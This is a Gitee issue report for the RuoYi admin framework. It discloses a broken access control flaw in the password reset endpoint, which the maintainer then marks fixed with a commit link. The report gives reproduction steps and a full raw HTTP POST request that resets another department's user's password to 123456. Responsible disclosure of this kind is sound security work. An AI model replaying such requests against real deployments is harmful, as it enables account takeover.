5.8K Star 42.6K Fork 23.3K

GVP若依/RuoYi

 / 详情

Broken Access Control Vulnerability

已完成
创建于  
2022-01-18 20:43

In the WebUI, user test1 does not have permission to reset the password of user test3, but the password of user test3 can be reset through the /system/user/resetPwd request.

Choose “System Management”- > “Role Management”(“系统管理”->”角色管理”) , and add the role of “testrole”.
输入图片说明
Set “Menu Permission” (“菜单权限”) as follows:
输入图片说明
“Data Permission”- > “Data Scope” (“数据权限”->“数据范围”) is set to “ Data Permission of the department”(“本部门数据权限”).
输入图片说明
输入图片说明
2.
Add a user named test1, and the userId is 100. Add a user named test3, and the userId is 102.
输入图片说明
The “Home Department” (“归属部门”) of user test1 is “ Marketing Department” (“市场部门”), and the “Role” ( “角色”) is testrole.
输入图片说明
The “Home Department” (“归属部门”) of user test3 is “Financial Department” (“财务部门”), and the “Role” (“角色”) is testrole.
输入图片说明
3.
After logging in to the system, user test1 can see only user test1 of the “marketing department”(“市场部门”), but not user test3 of the “financial department”(“财务部门”).
输入图片说明
4.
The WebUI provides the “password reset”(“重置密码”) function. Invoke the resetPwd interface through the cookie of user test1 to reset the password of user test3. The request parameters of user test3 are userId=102 and loginName=test3.
输入图片说明
输入图片说明

POST /system/user/resetPwd HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 42
Origin: http://localhost:8090
Connection: close
Referer: http://localhost:8090/system/user/resetPwd/100
Cookie: nav-style=default; JSESSIONID=xxxxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

userId=102&loginName=test3&password=123456

The password of user test3 was reset successfully.

评论 (1)

sanlang 创建了任务
sanlang 修改了描述
sanlang 修改了描述
sanlang 修改了描述
sanlang 修改了描述
展开全部操作日志

@sanlang 已修复,你可以更新一下代码。
用户访问控制时校验数据权限,防止越权
https://gitee.com/y_project/RuoYi/commit/ed1e7e69a8cbb8beb59eade9ce052046f7a9371c

若依 任务状态待办的 修改为已完成

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(2)
1151004 y project 1578942802
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi

搜索帮助

A270a887 8829481 3d7a4017 8829481